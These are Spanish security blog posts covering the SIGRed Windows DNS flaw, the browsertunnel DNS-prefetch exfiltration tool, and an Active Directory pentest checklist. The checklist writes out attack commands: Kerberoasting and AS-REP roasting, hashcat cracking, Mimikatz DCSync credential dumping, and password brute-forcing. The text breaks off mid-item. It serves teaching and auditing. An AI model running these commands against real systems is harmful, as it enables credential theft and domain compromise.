domingo, 26 de julio de 2020

SIGRed: vulnerabilidad crítica en el servidor DNS de Windows (CVE-2020-1350)

Los investigadores de Checkpoint se propusieron encontrar una vulnerabilidad mediante la cual comprometer un dominio de Windows, preferiblemente sin necesidad previa de autenticación, y siguieron la senda de la explotación de protocolos como ya pasó con Eternalblue con RDP o BlueKeep con RDP. En este caso se centraron en el servidor DNS presente en la mayoría de los controladores de dominio y el resultado fue el descubrimiento de un desbordamiento de enteros o integer overflow (que deriva en un Heap-Based Buffer Overflow) a la hora de parsear peticiones de tipo Signature (RR SIG records): hablamos de la vulnerabilidad CVE-2020-1350 llamada también SIGRed con un CVSS de 10.0 y que afecta a las versiones de Windows Server 2003 a 2019.

Unas pocas premisas

Partamos de unas pocas premisas antes de empezar a ver la descripción de la vulnerabilidad:

  • DNS opera en el puerto 53 UDP o TCP
  • un solo mensaje DNS (respuesta/petición) está limitado a 512 bytes en UDP y 65,535 bytes en TCP.
  • DNS es jerárquico y descentralizado por naturaleza. Esto significa que cuando un servidor DNS no conoce la respuesta a una consulta que recibe, la consulta se reenvía a un servidor DNS que se encuentra sobre él en la jerarquía
  • En Windows, el cliente DNS y el servidor DNS se implementan en dos módulos diferentes:
    •  Cliente DNS: dnsapi.dll es responsable de la resolución de DNS.
    •  Servidor DNS: dns.exe es responsable de responder las consultas DNS en Windows Server, en el que está instalada la funcionalidad DNS.

Descripción de la vulnerabilidad

La vulnerabilidad se encuentra en el servidor DNS/dns.exe:
1. dns.exe implementa una función de parseo para cada tipo de respuesta soportada.

2. Uno de los tipos de respuesta admitidos es para una consulta SIG. La función del handler para el tipo de respuesta SIG es dns.exe!SigWireRead.

3. La función responsable de asignar memoria para el RR (Resource Record) RR_AllocateEx espera que sus parámetros se pasen en registros de 16 bits, ya que solo usa la parte dx de rdx y la parte cx de rcx.

4. Si podemos hacer que se muestre un resultado mayor de 65.535 bytes (el valor máximo para un entero de 16 bits) se produce un desbordamiento y esta dirección de memoria asignada se pasa como un búfer de destino para memcpy, lo que lleva a un heap buffer overflow.

Provocando la vulnerabilidad

Como hemos dicho al principio DNS sobre UDP tiene un límite de tamaño de 512 bytes (o 4,096 bytes si el servidor admite Mecanismos de extensión para DNS0 o EDNS0). En cualquier caso, eso no es suficiente para desencadenar la vulnerabilidad.

Pero, ¿qué sucede si por algún motivo un servidor envía una respuesta superior a 4.096 bytes? Por ejemplo, una respuesta larga TXT o un nombre de host que se puede resolver en varias direcciones IP.

De acuerdo con el DNS RFC 5966:
"En ausencia de EDNS0, el comportamiento normal de cualquier servidor DNS que necesite enviar una respuesta UDP que exceda el límite de 512 bytes es que el servidor trunque la respuesta para que se ajuste dentro de ese límite y luego establezca el indicador TC en el encabezado de respuesta. Cuando el cliente recibe dicha respuesta, toma el flag TC como una indicación de que debería reintentar a través de TCP."

Por lo tanto, podemos establecer el flag TC (truncamiento) en nuestra respuesta, lo que hace que el servidor DNS de Windows de destino inicie una nueva conexión TCP a nuestro servidor de nombres malicioso, y podemos pasar un mensaje de más de 4,096 bytes. ¿Pero cuanto más grande?

Como los dos primeros bytes del mensaje representan su longitud, el tamaño máximo de un mensaje en DNS sobre TCP se representa como 16 bits y, por lo tanto, está limitado a 64 KB.


Pero incluso un mensaje de longitud 65.535 no es lo suficientemente grande como para desencadenar la vulnerabilidad, ya que la longitud del mensaje incluye los encabezados y la consulta original. Esta sobrecarga no se tiene en cuenta al calcular el tamaño que se pasa a RR_AllocateEx.

Por otro lado, para exprimir tanta información como sea posible en los 512 bytes, los nombres DNS pueden (y a menudo DEBEN) comprimirse ... En este caso, el nombre DNS de la respuesta se codifica como 0xc0 0x0c. La parte c0 tiene los dos bits más significativos establecidos, lo que indica que los siguientes 6 + 8 bits son un puntero a algún lugar anterior en el mensaje. En este caso, esto apunta a la posición 12 (= 0x0c) dentro del paquete, que está inmediatamente después del encabezado DNS.

¿Qué hay en el offset 0x0c(12) en el comienzo del paquete? El nombre o FQDN.


En conclusión podemos usar el byte "mágico" 0xc0 para referenciar cadenas desde dentro del paquete.

Veamos la fórmula que calcula el tamaño que se pasa a RR_AllocateEx:

[Name_PacketNameToCountNameEx result] + [0x14] + [The Signature field’s length (rdi–rax)]

El propósito de Name_PacketNameToCountNameEx es calcular el tamaño de un campo de nombre, teniendo en cuenta la compresión del puntero. Tener una primitiva que nos permita aumentar el tamaño de la asignación en una gran cantidad, cuando solo la representamos con dos bytes, es exactamente lo que necesitamos.

Podemos usar la compresión del puntero en el campo Signer's Name. Sin embargo, simplemente especificando 0xc00c como el Signer's name no causaría el desbordamiento, ya que el nombre de dominio consultado ya está presente en la consulta, y el tamaño de la sobrecarga se resta del valor asignado. ¿Pero qué hay de 0xc00d? La única restricción que tenemos que cumplir es que nuestra cadena encodeada es válida (que termina con 0x0000), y podemos hacerlo fácilmente porque tenemos un campo sin restricciones de caracteres: el valor de signature.

Por ejemplo para el dominio 41414141.fun, 0xc00d apunta al primer carácter del dominio ("4"). El valor ordinal de este carácter se usa como el tamaño de la cadena sin comprimir ("4" representa el valor 0x34 (52)). La agregación del tamaño de esta cadena sin comprimir, con la cantidad máxima de datos que podemos ajustar en el campo Firma (hasta 65,535, dependiendo de la consulta original), da como resultado un valor superior a 65,535 bytes, lo que provoca el desbordamiento.

Explotando la vulnerabilidad desde el navegador

DNS se puede transportar a través de TCP y el servidor DNS de Windows admite este tipo de conexión. Podemos abusar de las funciones de "Connection Reuse" y "Pipelining" enviando una petición HTTP POST al servidor DNS de destino (https://target-dns:53/) con el binary data, que contiene otra consulta DNS "smuggled" en los datos POST, que se consultarán por separado.

El payload HTTP consiste en lo siguiente:

- Cabeceras de peticiones HTTP que no controlamos (User-Agent, Referer, etc.).
- "Relleno" para que la primera consulta DNS tenga una longitud adecuada (0x504f) dentro de los datos POST.
- Nuestra consulta DNS "smuggled" dentro de los datos POST.


Llevando la explotación a la práctica

El binario dns.exe se compila con Control Flow Guard (CFG), lo que significa que el enfoque tradicional de sobrescribir un puntero de función en la memoria no es suficiente para explotar este error. Para tener éxito necesitamos encontrar primitivas que nos brinden las siguientes capacidades: write-what-where (para sobrescribir con precisión una dirección de retorno en la pila) e infoleak (para leakear direcciones de memoria, como la pila).

Contramedidas

Se recomienda encarecidamente parchear los servidores DNS de Windows afectados para evitar la explotación de esta vulnerabilidad:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1350

Según Shodan hay más de 2,000 servidores DNS Windows con el puerto 53 abierto en Internet. Rapid7 con su proyecto Sonar han identificado más de 41,000...

En cualquier caso hay que tener en cuenta que CVE-2020-1350 no requiere una conexión directa al puerto 53. Si se suplanta/realiza un phishing sobre alguien, basta un clic y el servidor DNS interno recibirá la petición maliciosa.

Como solución temporal, hasta que se aplique el parche, se sugiere establecer la longitud máxima de un mensaje DNS (sobre TCP) en 0xFF00, lo que debería eliminar la vulnerabilidad. Se puede hacer ejecutando los siguientes comandos:

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters" /v "TcpReceivePacketSize" /t REG_DWORD /d 0xFF00 /f
net stop DNS && net start DNS


Fuente: https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/

jueves, 23 de julio de 2020

browsertunnel: exfiltrando datos mediante dns-prefetch

Browsertunnel es una herramienta para exfiltrar datos desde el navegador utilizando el protocolo DNS. Para ello abusa de dns-prefetch, una técnica destinada a reducir la latencia percibida de los sitios web al realizar búsquedas DNS en segundo plano para dominios específicos antes si quiera que se soliciten cargarse. Pueden ser una o varias meta etiquetas que se colocan dentro del head, en ellas se establecen los dominios de los cuales vamos a necesitar cargar recursos en nuestra web. De esta manera precargamos los dominios (DNS) para que se resuelva la IP de la cual se descargarán los recursos requeridos, y así evitamos que esa resolución de la IP se haga justo cuando se requiera la carga del recurso. Además el tráfico DNS no aparece en las herramientas de depuración del navegador, no está bloqueado por la Política de seguridad de contenido (CSP) de una página, y a menudo no es inspeccionado por firewalls o proxies corporativos, por lo que es un medio ideal para sacar datos en escenarios restringidos.

Se trata de una técnica antigua: el túnel DNS en sí se remonta a los años 90, y Patrick Vananti escribió sobre el uso de dns-prefetch en 2016, pero por lo que puedo decir, browsertunnel es el primer cliente/servidor de código abierto que demuestra su uso. Debido a que dns-prefetch no devuelve ningún dato al cliente javascript, la comunicación a través de browsertunnel solo es unidireccional. Además, algunos navegadores deshabilitan dns-prefetch de forma predeterminada, y en esos casos, browsertunnel fallará silenciosamente.


El proyecto tiene dos partes:

- Un servidor, escrito en golang, que funciona como un servidor DNS autorizado que recopila y decodifica los mensajes enviados por browsertunnel.
- Una pequeña librería de JavaScript, que se encuentra en la carpeta html/, codifica y envía mensajes desde el lado del cliente

Cómo funciona

Browsertunnel puede enviar cadenas arbitrarias sobre DNS codificando la cadena en un subdominio, que se reenvía al servidor browsertunnel cuando el navegador intenta resolver el dominio de forma recursiva.

Los mensajes más largos que no caben en un dominio (253 bytes) se dividen automáticamente en múltiples consultas, que el servidor vuelve a ensamblar y decodificar.
Instalación y uso

Primero, hay que configurar los registros DNS para delegar un subdominio a su servidor. Por ejemplo, si la IP del servidor es 192.0.2.123 y queremos hacer un túnel a través del subdominio t1.example.com, la configuración de DNS debería ser:
t1        IN    NS   t1ns.example.com.
t1ns      IN    A    192.0.2.123

Luego en el servidor hay que instalar browsertunnel usando go get o, si se prefiere, podemos compilar browsertunnel en nuestra propia máquina y copiar el binario directamente en el servidor.
go get github.com/veggiedefender/browsertunnel

A continuación, ejecutamos browsertunnel, especificando el subdominio por el que queremos hacer el túnel.
browsertunnel t1.example.com

Para ver todas las opciones podemos usar el parámetro -help o consultar el godoc
$ browsertunnel -help
Usage of browsertunnel:
  -deletionInterval int
        seconds in between checks for expired messages (default 5)
  -expiration int
        seconds an incomplete message is retained before it is deleted (default 60)
  -maxMessageSize int
        maximum encoded size (in bytes) of a message (default 5000)
  -port int
        port to run on (default 53)

Finalmente para probar el túnel podemos usar la página de demo de aquí o clonar este repositorio y cargar html/index.html localmente. Si todo funciona, deberíamos poder ver los mensajes registrados en stdout.

Más info en el repo de la herramienta: https://github.com/veggiedefender/browsertunnel

martes, 21 de julio de 2020

Principales vulnerabilidades en un Directorio Activo

Todos estamos de acuerdo que asegurar un entorno de Active Directory no es una tarea fácil, siempre hay nuevos requisitos, características, pequeños (o grandes) descuidos en su configuración y nuevas vulnerabilidades que van apareciendo casi de forma frenética. Recientemente en el blog de Infosecmatter recogían un top16 de las debilidades y vulnerabilidades más comunes que encontraremos en este tipo de entornos, sin duda una recopilación muy útil y que un pentester a de tener muy en cuenta:

1. Usuarios que tienen permisos para agregar equipos al dominio
2. Atributo AdminCount configurado en usuarios comunes
3. Demasiados usuarios en grupos privilegiados
4. Cuentas de servicio miembros de administradores de dominio
5. Privilegios excesivos que permiten shadow admins en el dominio
6. Cuentas de servicio vulnerables a Kerberoasting
7. Usuarios con contraseñas que no caducan
8. Usuarios con contraseña no requerida
9. Almacenar contraseñas usando cifrado reversible
10. Almacenar contraseñas usando hashes LM
11. Cuentas de servicio vulnerables a AS-REP roasting
12. Política de contraseñas débil
13. Cuentas de dominio inactivas
14. Usuarios privilegiados con restablecimiento de contraseña vencido
15. Usuarios con una contraseña débil
16. Credenciales en SYSVOL y Preferencias de directiva de grupo (GPP)

1. Usuarios que tienen permisos para agregar equipos al dominio

En el Directorio Activo por defecto cualquier usuario de dominio puede agregar worstations. Esto se define mediante el atributo ms-DS-MachineAccountQuota que se establece de manera predeterminada a 10. Es decir, cualquier usuario de dominio con pocos privilegios puede unir hasta 10 computadoras al dominio. Por ejemplo esto brinda la posibilidad a un atacante de agregar su propio equipo no administrado a un dominio corporativo con las siguientes ventajas:

- sin necesidad de tener una solución antivirus o EDR en su máquina
- no se aplicarán configuraciones o políticas de GPO a su sistema
- podrá tener derechos administrativos en su sistema

Para añadir a un equipo al dominio se puede hacer mediante las Propiedades del Sistema (sysdm.cpl) o con powershell:

add-computer –domainname <FQDN-DOMAIN> -Credential <DOMAIN>\<USER> -restart –force

# Ejemplo
add-computer –domainname org.local -Credential ORG\john -restart –force

Si tenemos acceso a los controladores de dominio también podemos enumerar aquellas máquinas que fueron agregadas por usuarios que no son administradores:
Import-Module ActiveDirectory
Get-ADComputer -LDAPFilter "(ms-DS-CreatorSID=*)" -Properties ms-DS-CreatorSID

Volver al principio

2. Atributo AdminCount configurado en usuarios comunes

En DA hay un objeto llamado AdminSDHolder cuyo propósito es proteger objetos. Específicamente, objetos que son miembros de grupos administrativos.

Los objetos AD tienen un atributo llamado AdminCount. El valor predeterminado es para la mayoría de los objetos. Al cambiar el valor a "1", se marca la cuenta como protegida por AdminSDHolder.

Al agregar un usuario a un grupo con permisos de administración se cambia el valor a "1", pero si embargo cuando se saca del grupo ese valor no vuelve a "0". Como resultado, el objeto de usuario sigue teniendo ACL "sensibles" como por ejemplo deshabilitar la herencia de permisos. Esto puede ser un riesgo en algunos escenarios.

Para encontrar usuarios con el atributo AdminCount configurado a 1 podemos usar la herramienta LDAPDomainDump. Esta herramienta recopila información sobre todos los usuarios, grupos y equipos del dominio. Todo lo que necesitamos son credenciales de cualquier usuario de dominio con pocos privilegios y poder llegar al puerto LDAP de cualquier controlador de dominio.

1) Primero recopilamos la información del controlador de dominio:
python ldapdomaindump.py -u <DOMAIN>\<USER> -p <PASS> -d <DELIMITER> <DC-IP>

# Ejemplo:
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1

Hay que tener en cuenta que en lugar de una contraseña también podríamos proporcionar el hash NTLM (pass-the-hash).

2) Una vez que se realiza el volcado, podemos obtener la lista de usuarios con el atributo AdminCount configurado a 1 analizando el archivo "domain_users.json":
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json


Como alternativa podemos obtener la lista también con powershell:
Import-Module ActiveDirectory
Get-AdObject -ldapfilter "(admincount=1)" -properties admincount

Una vez que tengamos la lista de usuarios afectados, debemos verificar si realmente pertenecen a algún grupo privilegiado o administrativo.

Volver al principio

3. Demasiados usuarios en grupos privilegiados

Tener una gran cantidad de usuarios en grupos privilegiados como Administradores de dominio, Administradores de esquema y Administradores empresariales, aumenta innecesariamente el riesgo de comprometer el dominio, porque si algunos de esos usuarios se ven comprometidos, significa un compromiso total del dominio.

Para enumerar estos grupos desde un dominio unido a una máquina Windows:
net group "Schema Admins" /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain

En una máquina Windows no unida, primero tendríamos que autenticarnos en el dominio:
runas /netonly /user:<DOMAIN>\<USER> cmd.exe

Y desde Linux usando el comando "net":
net rpc group members 'Schema Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Domain Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Enterprise Admins' -I <DC-IP> -U "<USER>"%"<PASS>"

# Ejemplo:
net rpc group members 'Domain Admins' -I 10.10.30.52 -U "john"%"pass123"

Volver al principio

4. Cuentas de servicio miembros de administradores de dominio

Hay veces que a las cuentas de servicio se les asignan privilegios y/o membresías excesivas. Dicha práctica introduce un riesgo crítico en la infraestructura, porque las cuentas de servicio generalmente tienen contraseñas configuradas para que nunca caducan. Esto significa que si una cuenta de servicio así se comprometiera, permitiría al atacante tener control total sobre el dominio AD. Y por mucho tiempo probablemente.

Para verificar si hay cuentas de servicio podemos revisar los usuarios de los grupos como se especificó anteriormente:
net group "Schema Admins" /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain

Volver al principio

5. Privilegios excesivos que permiten shadow admins en el dominio

Esta vulnerabilidad es más compleja. Se trata del mal uso de los permisos y permisos extendidos de Active Directory, también conocidos como entradas de control de acceso (ACE).

El problema es cuando algunos de estos permisos se otorgan a un usuario con privilegios bajos (o un grupo) para permitir cambiar algo importante en un usuario con privilegios más altos (o un grupo).

Algunos de los permisos típicamente mal utilizados incluyen:

- ForceChangePassword - Posibilidad de restablecer la contraseña de otro usuario
- GenericAll: control total sobre un objeto (lectura/escritura)
- GenericWrite - Actualización de cualquier atributo de un objeto
- WriteOwner - Asume la propiedad de un objeto
- WriteDacl - Modificar la DACL de un objeto
- Self - Modifica arbitrariamente self

Esto puede tener un impacto crítico y a menudo conduce a privilegios de administrador de dominio. Los usuarios con tales privilegios excesivos se denominan administradores de dominio en la sombra, shadow admins o administradores ocultos.

Para buscar "shadows admin" todo lo que necesitamos es un usuario de dominio con pocos privilegios y la herramienta adecuada.

Una de las herramientas que más ayuda en este proceso es Bloodhound de la que ya hemos hablado anteroirmente en el blog.

Volver al principio

6. Cuentas de servicio vulnerables a Kerberoasting

Kerberoasting es un vector de ataque muy popular dirigido contra cuentas de servicio en Active Directory. El problema es cuando hay cuentas de servicio con contraseñas débiles y cuando hay un cifrado débil Kerberos RC4 utilizado para cifrar sus contraseñas.

Este ataque se puede automatizar ya con múltiples herramientas (por ejemplo, Impacket o Rubeus) y todo lo que necesitamos para probar es tener credenciales de usuario de dominio con privilegios bajos.

Aquí hay un ejemplo usando Impacket:
GetUserSPNs.py -request <DOMAIN>/<USER>:<PASS>

Tened en cuenta que en lugar de una contraseña, también podríamos usar un hash NTLM  (pass-the-hash). Si obtuvimos alguno, significa que hay cuentas de servicio vulnerables a Kerberoasting.

Después de obtener los hashes, podemos intentar descifrarlos para demostrar completamente el impacto. Aquí hay un ejemplo del uso de Hashcat para realizar un ataque de diccionario:
hashcat -m 13100 -a 0 hashes.txt wordlist.txt


Para proteger las cuentas de servicio contra Kerberoasting se recomienda:

- Utilizar algoritmos de cifrado más nuevos, como AES128, AES256 o superior.
- Aplicar el uso de contraseñas seguras y complejas (idealmente más de 25 caracteres de longitud)
- Asegurarse de que la contraseña caduque periódicamente
- Mantener los privilegios lo más bajos posible

Volver al principio

7. Usuarios con contraseñas que no caducan

Algunas organizaciones tienen cuentas de dominio configuradas con el flag DONT_EXPIRE_PASSWORD. Esta es la configuración típica de las cuentas de servicio, pero a veces también se puede ver en cuentas de dominio más privilegiadas. Aunque es útil en algunas situaciones, también puede ser bastante perjudicial y las cuentas de dominio con este flag son objetivos ideales para ataques de escalada de privilegios y son excelentes backdoors para mantener el acceso como se ha visto en muchas APT.

Para encontrar usuarios con contraseñas que no caduquen, podemos usar nuevamente la herramienta LDAPDomainDump mencionada anteriormente. Una vez que se realiza el volcado, podemos obtener la lista de usuarios con contraseñas que no caducan utilizando el siguiente comando:
grep DONT_EXPIRE_PASSWD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'


Y con powershell:
Import-Module ActiveDirectory
Get-ADUser -filter * -properties Name, PasswordNeverExpires | where { $_.passwordNeverExpires -eq "true" } | where {$_.enabled -eq "true" }

Volver al principio

8. Usuarios con contraseña no requerida

Otro flag interesante en Active Directory es PASSWD_NOTREQD. Si una cuenta de usuario tiene esa flag establecida, no significa que la cuenta no tenga que tener una contraseña si no que cualquier tipo de contraseña será válida: una corta, una que no cumpla (contra la política de contraseña de dominio) o una vacía. Simplemente cualquiera. Esto es, por supuesto, un gran riesgo de seguridad y ninguna cuenta de usuario debería tener esta flag.

La búsqueda de usuarios con el conjunto de indicadores PASSWD_NOTREQD es muy similar a la búsqueda de usuarios con contraseñas que no caducan. Nuevamente podemos aprovechar la herramienta LDAPDomainDump y, una vez que se realiza el volcado, obtener la lista de usuarios con el indicador PASSWD_NOTREQD utilizando el siguiente comando:
grep PASSWD_NOTREQD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $ 3}'


Y volvemos a powershell como alternativa:
Importar módulo ActiveDirectory
Get-ADUser -Filter {UserAccountControl -band 0x0020}

Volver al principio

9. Almacenar contraseñas usando cifrado reversible

Algunas aplicaciones requieren la contraseña del usuario en texto claro para realizar una autenticación y es por eso que hay soporte para almacenar contraseñas utilizando cifrado reversible en Active Directory. Almacenar contraseñas de esta manera es esencialmente idéntico a almacenarlas en texto claro. Es una idea horrible, pero es una realidad.

El único factor atenuante aquí es que un atacante debería poder extraer datos de contraseña de los controladores de dominio para leer la contraseña en texto claro. Esto significa tener:

- Permisos para realizar la operación DCSYNC (por ejemplo, a través de Mimikatz)
- Acceso al archivo NTDS.DIT ​​en un controlador de dominio (implica ya tener un compromiso completo del AD)

Ambos métodos ya implican un compromiso de dominio AD completo. Sin eso, no hay forma de encontrar qué usuarios tienen contraseñas almacenadas utilizando un cifrado reversible. E incluso si supiéramos cuáles, no podríamos extraer las contraseñas, a menos que tengamos tales privilegios con los que prácticamente ya tendríamos owneado el dominio entero.

Entonces, para probar esta vulnerabilidad, tenemos que volcar el archivo NDTS.DIT del controlador de dominio y extraer los hashes de él. Solo así podremos ver qué usuarios tienen contraseñas almacenadas mediante cifrado reversible: sus contraseñas simplemente se imprimirán en texto claro.

Tened en cuenta que también podríamos obtener la contraseña en texto claro con Mimikatz ejecutándose en el contexto de un usuario con privilegios elevados (que puede realizar DCSYNC), pero tendríamos que conocer el nombre de usuario de un usuario afectado.

Aquí está el comando Mimikatz que lo haría:
mimikatz # lsadump::dcsync /domain:<DOMAIN> /user:<AFFECTED-USER>

# Ejemplo:
mimikatz # lsadump::dcsync /domain:example.com /user:poorjohn


En cualquier caso, las contraseñas nunca deben almacenarse en texto claro. Esta vulnerabilidad ofrece a los atacantes que comprometieron el dominio AD (por ejemplo, APT) y a personas con privilegios internos (por ejemplo, administradores de dominio) acceso instantáneo a las contraseñas en claro de los usuarios afectados.

Volver al principio

10. Almacenar contraseñas usando hashes LM

Otra vulnerabilidad típica es el almacenamiento de contraseñas como LM hash, en lugar de NTLM. LM hash es un antiguo método obsoleto para almacenar contraseñas que tiene las siguientes debilidades:

- La longitud de la contraseña está limitada a 14 caracteres.
- Las contraseñas que tienen más de 7 caracteres se dividen en dos y cada mitad se divide en hashes por separado
- Todos los caracteres en minúsculas se convierten en mayúsculas antes hashearse

Debido a estas debilidades, los hashes LM son extremadamente fáciles de descifrar. Cualquier persona que tenga acceso a ellos, por ejemplo usuarios con privilegios (administradores de dominio), pueden descifrarlas fácilmente y obtener contraseñas de texto sin formato.

Al igual que antes, esto podremos aprovecharlo una vez que el AD está comprometido y se han podido extraer los archivos NTDS.DIT.

Cuando la parte LM se establece en algo diferente a 'aad3b435b51404eeaad3b435b51404ee' (cadena vacía), significa que estamos buscando un hash LM.
Así que para encontrar hashes LM podemos simplemente grepear:
grep -iv ':aad3b435b51404eeaad3b435b51404ee:' dumped_hashes.txt

Volver al principio

11. Cuentas de servicio vulnerables a AS-REP roasting

Esta vulnerabilidad es muy similar a Kerberoasting, pero en este caso el ataque abusa de las cuentas de usuario que no requieren autenticación Kerberos previa. Afecta a los usuarios del dominio con el flag DONT_REQ_PREAUTH.

Para probarlo es similar a Kerberoasting, se puede realizar con varias herramientas (por ejemplo, Impacket o Rubeus como decíamos anteriormente). Pero hay algunas diferencias sutiles: para AS-REP roasting, ¡no tenemos que conocer ninguna credencial de usuario de dominio! Lo único que necesitamos saber es qué usuarios se ven afectados.

Si no conocemos ninguno, entonces podemos probar una lista de palabras con nombres de usuario como en este ejemplo con Impacket:
GetNPUsers.py <DOMAIN>/ -usersfile <USERLIST.TXT> -format [hashcat|john] -no-pass

# Ejemplo:
GetNPUsers.py example.com/ -usersfile userlist.txt -format hashcat -no-pass

Por otro lado, si tenemos credenciales de usuario de dominio con privilegios bajos, podemos obtener la lista de usuarios afectados de inmediato, junto con sus hashes Kerberos AS-REP:
GetNPUsers.py <DOMAIN>/<USER>:<PASS> -request -format [hashcat|john]

# Example:
GetNPUsers.py example.com/john:pass123 -request -format hashcat

Si obtenemos algunos hashe podemos intentar romperlos. Aquí hay un ejemplo con Hashcat usando un ataque de diccionario para intentar romper los hashes Kerberos AS-REP:
hashcat -m 18200 -a 0 hashes.txt wordlist.txt

# Más rápido con cores optimizados, pero longitud de contraseña limitada a 31 caracteres:
hashcat -m 18200 -a 0 -O - self-test-disable hashes.txt wordlist.txt


Como alternativa, el siguiente comando de PowerShell podría usarse en un controlador de dominio para obtener la lista de usuarios que no requieren autenticación previa Kerberos:
Import-Module ActiveDirectory
Get-ADuser -filter * -properties DoesNotRequirePreAuth | where {$._DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name

Volver al principio

12. Política de contraseñas débil

La política de contraseñas es un tema que sigue evolucionando con el tiempo. Hay muchos puntos de vista diferentes y opiniones sobre cómo debería ser una política de contraseña ideal.

Algunas organizaciones aplican contraseñas largas y complejas, cambiándolas con frecuencia. Algunos son más benévolos y algunos incluso casi pueden ignorar aplicar cualquier política o y solo se centran en fortalecer sus controles compensatorios en sus entornos internos de modo que el compromiso de la cuenta solo tenga un impacto muy pequeño.

Cada enfoque tiene sus ventajas y desventajas pero, por ejemplo, el CIS Benchmark recomienda la siguiente política de contraseñas en Active Directory:

- Longitud mínima de contraseña: 14
- Hacer cumplir el historial de contraseñas: 24
- Contraseña máxima: 60 días o menos.
- Edad mínima de contraseña: 1 o más
- La contraseña debe cumplir con la complejidad: habilitado
- Almacenar contraseñas con cifrado reversible: deshabilitado
- Umbral de bloqueo de cuenta: hasta 10, pero no 0
- Duración del bloqueo de cuenta (minutos): 15 minutos o más
- Ventana de observación de bloqueo de cuenta (minutos): 30 minutos

Para ver la política de contraseñas, no necesitamos privilegios especiales; cualquier cuenta de dominio con pocos privilegios puede hacerlo.
Para mostrar la política de contraseñas de AD desde un dominio unido a una máquina Windows:
net accounts /domain

Desde Linux con el comando polenum:
polenum --username <USER> --password <PASS> --domain <DC-IP>

# Ejemplo:
polenum --username john --password pass123 --domain 10.10.51.11


Como alternativa podemos usar enum4linux:
enum4linux -P -u <USER> -p <PASS> -w <DOMAIN> <DC-IP>

# Ejemplo:
enum4linux -P -u john -p pass123 -w dom.local 172.21.1.60

Volver al principio

13. Cuentas de dominio inactivas

Normalmente encontramos cuentas de usuario activas sin ser utilizadas durante mucho tiempo, de acuerdo con la "Última fecha de inicio de sesión". Estas cuentas generalmente pertenecen a:

- Empleados que abandonaron la empresa.
- Cuentas temporales
- Cuentas de prueba

Tener cuentas de dominio no utilizadas en el dominio aumenta la superficie de ataque de la organización, ya que brinda la oportunidad de comprometer estas cuentas, por ejemplo a través de ataques de inicio de sesión.

Debe existir un mecanismo (una política) para deshabilitar o eliminar estas cuentas en función de verificaciones periódicas, ej. después de 30 días de inactividad.

Para encontrar cuentas de dominio inactivas, podemos aprovechar nuevamente la herramienta LDAPDomainDump mencionada anteriormente.

Todo lo que necesitamos son unas credenciales de usuario de dominio con pocos privilegios y la capacidad de alcanzar el puerto LDAP de cualquier controlador de dominio.

1) Primero hay que recopilar la información del controlador de dominio:
python ldapdomaindump.py -u <DOMAIN>\<USER> -p <PASS> -d <DELIMITER> <DC-IP>

# Example:
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1

2) Una vez que se realiza el volcado, se puede ordenar a los usuarios según la última fecha de inicio de sesión con el siguiente comando:
sort -t ';' -k 8 domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3, $8}'


Volver al principio

14. Usuarios privilegiados con restablecimiento de contraseña vencido

Las cuentas privilegiadas son probablemente objetivos para atacantes (por ejemplo, APT) y, si sus contraseñas no se cambian periódicamente, esto les da a los atacantes el tiempo suficiente para intentar romperlas. Todas las cuentas privilegiadas y cuentas de servicio deberían tener sus contraseñas cambiadas regularmente.

Para identificarlos lo que tenemos que hacer es obtener una lista de usuarios con el flag AdminCount y ver cuándo fue la última vez que cambiaron su contraseña.

Con la herramienta LDAPDomainDump mencionada anteriormente, es pan comido. Todo lo que necesitamos son credenciales de cualquier usuario de dominio con pocos privilegios y la capacidad de alcanzar el puerto LDAP de cualquier controlador de dominio.

1) Primero recopilar la información del controlador de dominio:
python ldapdomaindump.py -u <DOMAIN>\<USER> -p <PASS> -d <DELIMITER> <DC-IP>

# Example:
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1

2) Una vez que se realiza el volcado, obtener la lista de usuarios con el atributo AdminCount en 1 analizando el archivo "domain_users.json":
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json > privileged_users.txt

3) Ahora recorrer la lista de usuarios privilegiados, mostrar su última fecha de restablecimiento de contraseña (pwdLastSet) y ordenarla:
while read user; do grep ";${user};" domain_users.grep; done < privileged_users.txt | \
  grep -v ACCOUNT_DISABLED | sort -t ';' -k 10 | awk -F ';' '{print $3, $10}'


Como veis, parece que esos 5 usuarios privilegiados no han tenido un cambio de contraseña durante mucho tiempo.

Volver al principio

15. Usuarios con una contraseña débil

A pesar de tener una política de contraseña corporativa sólida y un entorno maduro, aún puede haber cuentas de dominio con contraseñas débiles. De hecho, este es un problema muy común, especialmente en entornos grandes de Directorio Activo.

Para probar las credenciales débiles de los usuarios del dominio, primero tenemos que tener una lista de usuarios. Y para obtener la lista, debemos tener un acceso de usuario con privilegios bajos al dominio.

Esto es lo que podríamos hacer en una máquina con Windows unida a un dominio:

1) Primero necesitamos obtener una lista de usuarios del AD y para eso podemos usar el siguiente combo de PowerShell:
$a = [adsisearcher]”(&(objectCategory=person)(objectClass=user))”
$a.PropertiesToLoad.add(“samaccountname”) | out-null
$a.PageSize = 1
$a.FindAll() | % { echo $_.properties.samaccountname } > users.txt

2) Ahora podríamos alimentar esta lista con cualquiera de las siguientes herramientas para realizar el ataque:

De forma alternativa, también podríamos usar nuestro la tool login AD bruteforcer (github):
Import-Module ./adlogin.ps1
adlogin users.txt domain.com password123


En Linux podríamos hacer lo mismo de la siguiente manera:
1) Obtener una lista de usuarios de dominio de AD utilizando el comando "net":
net rpc group members 'Domain Users' -I <DC-IP> -U "<USER>"%"<PASS>"

Ejemplo:
